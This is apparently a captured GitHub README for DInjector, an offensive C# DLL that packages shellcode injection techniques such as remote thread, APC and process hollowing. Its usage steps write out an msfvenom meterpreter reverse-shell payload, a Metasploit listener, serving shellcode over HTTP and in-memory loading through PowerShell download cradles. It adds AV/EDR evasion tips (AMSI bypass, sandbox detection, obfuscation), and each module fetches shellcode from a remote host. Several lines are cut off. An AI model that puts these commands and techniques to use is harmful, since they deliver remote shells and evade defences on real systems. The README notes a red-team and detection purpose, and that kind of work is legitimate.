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https://github.com/snowvcrash/DInjector

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DInjector

```
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About

Collection of techniques for shellcode injection packed in a D/Invoke weaponized DLL

📖 Readme

📄 BSD-2-Clause License

Releases

No releases published

Packages

No packages published

Languages

C# 96.7%

PowerShell 3.3%

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About this capture

This repository is an accumulation of my code snippets for various **shellcode injection** techniques using fantastic [D/Invoke](#) API by @TheWover and @FuzzySecurity.

Based on my testings the DInvoke NuGet [package](#) itself is being flagged by many commercial AV/EDR solutions when included as an embedded resource via [Costura.Fody](#) (or similar approaches), so I recommend to modify it and include from [source](#) to achieve better opsec.

DInjector is not intended to be used for AV/EDR evasion out-of-the-box, but provides a bunch of weaponized examples to improve your generic tradecraft during the engagement and/or sharpen your detection rules to prevent this sort of shellcode execution.

Some tips how the driver [Program](#) can be enhanced (leaving it as an exercise for the reader):

- Use encrypted payloads which can be invoked from a URL or passed in Base64 as an argument.
- Add built-in AMSI bypass (a great example from @rasta-mouse is [here](#)).
- Add sandbox detection methods.
- Protect the resulting assembly with [ConfuserEx](#) or similar tools.

Usage

Here is a basic example to get started.

1. Compile the project in Visual Studio.
2. Generate a shellcode for your favourite C2:

```
~$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10
```

[13 captures](#) Serve `shellcode.bin` and start C2 listener:

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```
~$ sudo python3 -m http.server 80
~$ sudo msfconsole -qx "use exploit/multi/handler; set payload"
```

4. Use one of the PowerShell download [cradles](#) to load DInjector.dll as `System.Reflection.Assembly` and execute it from memory.

I **do not** recommend putting the assembly on disk because it will very likely be flagged.

Modules

Note: opsec safe considerations are based on my personal experience and some testings along the way.

FunctionPointer

```
module_name: 'functionpointer'
arguments: |
  /sc:http://10.10.13.37/shellcode.bin
description: |
  Allocates a RWX memory region, copies the shellcode into it
  and executes it like a function.
calls:
  - ntdll.dll:
    1: 'NtAllocateVirtualMemory'
opsec_safe: false
references:
  - 'http://disbaxes.upc.es/code/two-basic-ways-to-run-and-to
  - 'https://www.ired.team/offensive-security/code-injection-p
  - 'https://www.fergonez.net/post/shellcode-csharp'
```

FunctionPointerV2

```
module_name: 'functionpointerv2'
```

```
arguments: |  
/sc:http://10.10.13.37/shellcode.bin
```

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```
description: |  
Sets ntdll on a byte array and executes it like a function.
```

```
calls:
```

```
- ntdll.dll:
```

```
1: 'NtProtectVirtualMemory'
```

```
opsec_safe: false
```

```
references:
```

- 'https://jhalon.github.io/utilizing-syscalls-in-csharp-1/'
- 'https://jhalon.github.io/utilizing-syscalls-in-csharp-2/'
- 'https://github.com/jhalon/SharpCall/blob/master/Syscalls'

CurrentThread

```
module_name: 'currentthread'
```

```
arguments: |  
/sc:http://10.10.13.37/shellcode.bin
```

```
description: |  
Injects shellcode into current process.  
Thread execution via NtCreateThreadEx.
```

```
calls:
```

```
- ntdll.dll:
```

```
1: 'NtAllocateVirtualMemory'
```

```
2: 'NtProtectVirtualMemory'
```

```
3: 'NtCreateThreadEx'
```

```
4: 'NtWaitForSingleObject'
```

```
opsec_safe: false
```

```
references:
```

- 'https://github.com/XingYun-Cloud/D-Invoke-syscall/blob/main'

RemoteThread

```
module_name: 'remotethread'
```

```
arguments: |  
/sc:http://10.10.13.37/shellcode.bin /pid:1337
```

```
description: |  
Injects shellcode into an existing remote process.  
Thread execution via NtCreateThreadEx.
```

```
calls:
```

```
- ntdll.dll:
  1: 'NtOpenProcess'
  2: 'NtAllocateVirtualMemory'
  3: 'NtWriteVirtualMemory'
  4: 'NtProtectVirtualMemory'
```

```
  5: 'NtCreateThreadEx'
```

```
opsec_safe: false
```

```
references:
```

```
- 'https://github.com/S3cur3Th1sSh1t/SharpImpersonation/blob'
```

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RemoteThreadAPC

```
module_name: 'remotethreadapc'
```

```
arguments: |
```

```
/sc:http://10.10.13.37/shellcode.bin /image:C:\Windows\System32\cmd.exe
```

```
description: |
```

```
Injects shellcode into a newly spawned remote process.
```

```
Thread execution via NtQueueApcThread.
```

```
calls:
```

```
- kernel32.dll:
```

```
  1: 'CreateProcess'
```

```
- ntdll.dll:
```

```
  1: 'NtAllocateVirtualMemory'
```

```
  2: 'NtWriteVirtualMemory'
```

```
  3: 'NtProtectVirtualMemory'
```

```
  4: 'NtOpenThread'
```

```
  5: 'NtQueueApcThread'
```

```
  6: 'NtAlertResumeThread'
```

```
opsec_safe: true
```

```
references:
```

```
- 'https://rastamouse.me/exploring-process-injection-opsec-1'
```

```
- 'https://gist.github.com/jfmaes/944991c40fb34625cf72fd33d'
```

RemoteThreadContext

```
module_name: 'remotethreadcontext'
```

```
arguments: |
```

```
/sc:http://10.10.13.37/shellcode.bin /image:C:\Windows\System32\cmd.exe
```

```
description: |
```

```
Injects shellcode into a newly spawned remote process.
```

```
Thread execution via SetThreadContext.
```

```
calls:
```

```
- kernel32.dll:  
  1: 'CreateProcess'
```

```
- ntdll.dll:  
  1: 'NtAllocateVirtualMemory'  
  2: 'NtWriteVirtualMemory'  
  3: 'NtProtectVirtualMemory'  
  4: 'NtCreateThreadEx'  
  5: 'GetThreadContext'  
  6: 'SetThreadContext'  
  7: 'NtResumeThread'
```

opsec_safe: true

references:

- 'https://blog.xpnsec.com/undersanding-and-evading-get-inj'
- 'https://github.com/djhohnstein/CSharpSetThreadContext/blob'

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ProcessHollow

```
module_name: 'processhollow'
```

```
arguments: |
```

```
/sc:http://10.10.13.37/shellcode.bin /image:C:\Windows\System
```

```
description: |
```

```
Injects shellcode into a newly spawned remote process.
```

```
Thread execution via NtQueueApcThread.
```

```
calls:
```

```
- kernel32.dll:  
  1: 'CreateProcess'  
- ntdll.dll:  
  1: 'NtQueryInformationProcess'  
  2: 'NtReadVirtualMemory'  
  3: 'NtProtectVirtualMemory'  
  4: 'NtWriteVirtualMemory'  
  5: 'NtResumeThread'
```

opsec_safe: false

references:

- 'https://github.com/CCob/SharpBlock/blob/master/Program.c'

Credits

- @TheWover and @FuzzySecurity for their awesome [DInvoke](#) project.

- All those great researchers mentioned in the modules references above

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